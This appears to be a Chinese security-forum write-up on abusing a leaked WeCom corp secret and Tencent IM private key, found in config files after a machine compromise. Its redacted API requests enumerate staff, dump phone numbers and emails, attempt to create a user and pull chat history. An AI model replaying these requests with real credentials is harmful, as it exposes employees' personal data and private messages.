最近在项目中遇到一个 企业微信access_token 和 腾讯IM 密钥 场景,搜了下,网上似乎没有多少公开的案例分享,有的也是比较简单的,所以记录一下利用过程,厚码保命,理解一下


泄漏企业微信 access_token

注⚠️ :脱敏脱敏脱敏 代替 原来的敏感数据

获得的配置文件内容

#腾讯企业微信企业id
qywx.corpid=脱敏脱敏脱敏
#腾讯企业微信管理后台的应用密钥
qywxapplet.appSecret=脱敏脱敏脱敏脱敏脱敏脱敏
#腾讯企业微信管理后台绑定的小程序appid
qywxapplet.appid=脱敏脱敏脱敏脱敏脱敏
#腾讯ocr appid,演示环境使用了腾讯的ocr接口,行方不使用腾讯ocr接口则不必配置这里。配置成"-"即可
ocr.tenc.appId=-
#腾讯ocr秘钥
ocr.tenc.secret=-
#网录制视频时分段时长,分钟,如无需求不要改动此项
duration=120

根据官方文档,先生成 access_token

  • https://developer.work.weixin.qq.com/document/path/91039

    https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=脱敏脱敏脱敏&corpsecret=脱敏脱敏脱敏
    
      eQq8YjcgxHOtk39Xu4d脱敏脱敏脱敏脱敏脱敏脱敏脱敏klx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

access_token 的有效期通过返回的 expires_in 来传达,正常情况下为 7200 秒(2 小时),有效期内重复获取返回相同结果,过期后获取会返回新的 access_token。

根据官方服务,先查看 access_token 权限

可以看到 access_token 权限,通讯录范围 - 部门,应用权限

根据官方文档

获取企业微信API域名IP段

https://qyapi.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token=eQq8YjcgxHOtk39Xu4d30脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

获取部门列表

https://qyapi.weixin.qq.com/cgi-bin/department/list?access_token=eQq8YjcgxHOtk39Xu4d脱敏脱敏脱敏脱敏脱敏脱敏脱敏38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

可以看到有很多部门

获取部门成员

https://qyapi.weixin.qq.com/cgi-bin/user/simplelist?access_token=eQq8YjcgxHOtk39Xu4d30rJx0脱敏脱敏脱敏脱敏脱敏脱敏脱敏LE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&department_id=1&&fetch_child=1

所有人的姓名和userid,归属部门

获取部门成员详情

https://qyapi.weixin.qq.com/cgi-bin/user/list?access_token=eQq8YjcgxHOtk39Xu4d3脱敏脱敏脱敏脱敏脱敏脱敏脱敏ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&department_id=1&fetch_child=1

所有人的姓名、手机号、头像、企业微信二维码、邮箱

获取单个部门详情

https://qyapi.weixin.qq.com/cgi-bin/department/get?access_token=eQq8Yjc脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&id=963233

查看下子部门的详情

获取加入企业二维码

https://qyapi.weixin.qq.com/cgi-bin/corp/get_join_qrcode?access_token=eQq8YjcgxHOtk3脱敏脱敏脱敏脱敏脱敏脱敏脱敏w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

仅通讯录同步助手或第三方通讯录应用可调用。

这个 accesskey 是普通应用,普通应用的secret仅有只读权限,所以获取加入企业二维码没有权限,因为这个接口须拥有通讯录的管理权限,需要使用通讯录同步的Secret

创建成员

POST /cgi-bin/user/create?access_token=eQq8YjcgxH脱敏脱敏脱敏脱敏脱敏脱敏脱敏-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏 HTTP/1.1
Host: qyapi.weixin.qq.com
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

{
   "userid": "test123",
   "name": "啊啊啊",
   "department": [1],
   "mobile":"13888888888"
}

仅通讯录同步助手或第三方通讯录应用可调用。

这个 accesskey 是普通应用,普通应用的secret仅有只读权限,所以不能创建成员,须拥有通讯录的管理权限,需要使用通讯录同步的Secret

获取企业所有打卡规则

https://qyapi.weixin.qq.com/cgi-bin/checkin/getcorpcheckinoption?access_token=eQq8YjcgxHOtk39脱敏脱敏脱敏脱敏脱敏脱敏脱敏i-w6Owklx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

还有 获取员工打卡规则、获取打卡记录数据、获取打卡日报数据、获取打卡月报数据、获取打卡人员排班信息,这里就不一一测试了

还有获取成员假期余额

POST /cgi-bin/oa/vacation/getuservacationquota?access_token=eQq8YjcgxHOtk39Xu4脱敏脱敏脱敏脱敏脱敏脱敏脱敏lx38ULE60ISuQvXMLNcsHtyNqsw3wn5hd0vM脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏 HTTP/1.1
Host: qyapi.weixin.qq.com
Connection: close
X-Forwarded-For: 101.226.129.166
Content-Type: application/json
Content-Length: 31

{
    "userid": "脱敏脱敏脱敏"
}

还可以修改成员假期余额,这里就不测试了


泄漏即时通信IM配置

qq.im.sdkappid=脱敏脱敏脱敏
qq.im.privateKey=脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏
qq.im.identifier=脱敏脱敏脱敏
qq.im.apiver=2
qq.live.bizid=脱敏脱敏脱敏

通过查看官方文档 https://cloud.tencent.com/document/product/269/32688 UserSig 是用户登录即时通信 IM 的密码,其本质是对 UserID 等信息加密后得到的密文,首先要生成 UserSig

https://github.com/tencentyun/tls-sig-api-v2-python

pip3 install tls-sig-api-v2

vim test.py

import TLSSigAPIv2

api = TLSSigAPIv2.TLSSigAPIv2(脱敏脱敏脱敏, '脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏')
sig = api.gen_sig("脱敏脱敏脱敏")
print(sig)

运行生成 UserSig,注意这个 UserSig 有效期很短,一般几分钟就要重新生成一次

eJw1zcEKgkAUheFXkVmH3hk脱敏脱敏脱敏脱敏脱敏脱敏脱敏v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏

生成后按照文档里描述的填写

https://cloud.tencent.com/document/product/269/1520

获取 App 中的所有群组

https://console.tim.qq.com/v4/group_open_http_svc/get_appid_group_list?sdkappid=1400571601&identifier=admin&usersig=eJw1zcEKgkAU脱敏脱敏脱敏脱敏脱敏脱敏脱敏qW1iiJlr07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json

这里图忘记截了,将就着看吧

拉取运营数据

https://console.tim.qq.com/v4/openconfigsvr/getappinfo?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVm脱敏脱敏脱敏脱敏脱敏脱敏脱敏07qXp9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999

这里图忘记截了,将就着看吧

下载最近消息记录

https://console.tim.qq.com/v4/open_msg_svc/get_history?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAU脱敏脱敏脱敏脱敏脱敏脱敏脱敏p9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json

这里图忘记截了,将就着看吧

获取服务器 IP 地址

https://console.tim.qq.com/v4/ConfigSvc/GetIPList?sdkappid=1400571601&identifier=vc_system&usersig=eJw1zcEKgkAUheFXkVmH3hk脱敏脱敏脱敏脱敏脱敏脱敏脱敏9v-gnDdJt3u9VRVZaoTpQBbaWFCqe脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏脱敏&random=99999999&contenttype=json

这里图忘记截了,将就着看吧

可以用在线网页进行验证
https://tcc.tencentcs.com/im-api-tool/index.html#v4/group_open_http_svc/get_appid_group_list

总结,之前从来没有遇到过这类办公认证泄漏,这次实战中翻配置文件时发现了,通过翻阅官方API文档获取到了更多的成果,有时候拿下机器的本地信息收集真的很重要,只是可惜了,这个获取的权限没有通讯录的管理权限不然可以直接添加用户到目标企业微信中了。

点击收藏 | 9 关注 | 2
登录 后跟帖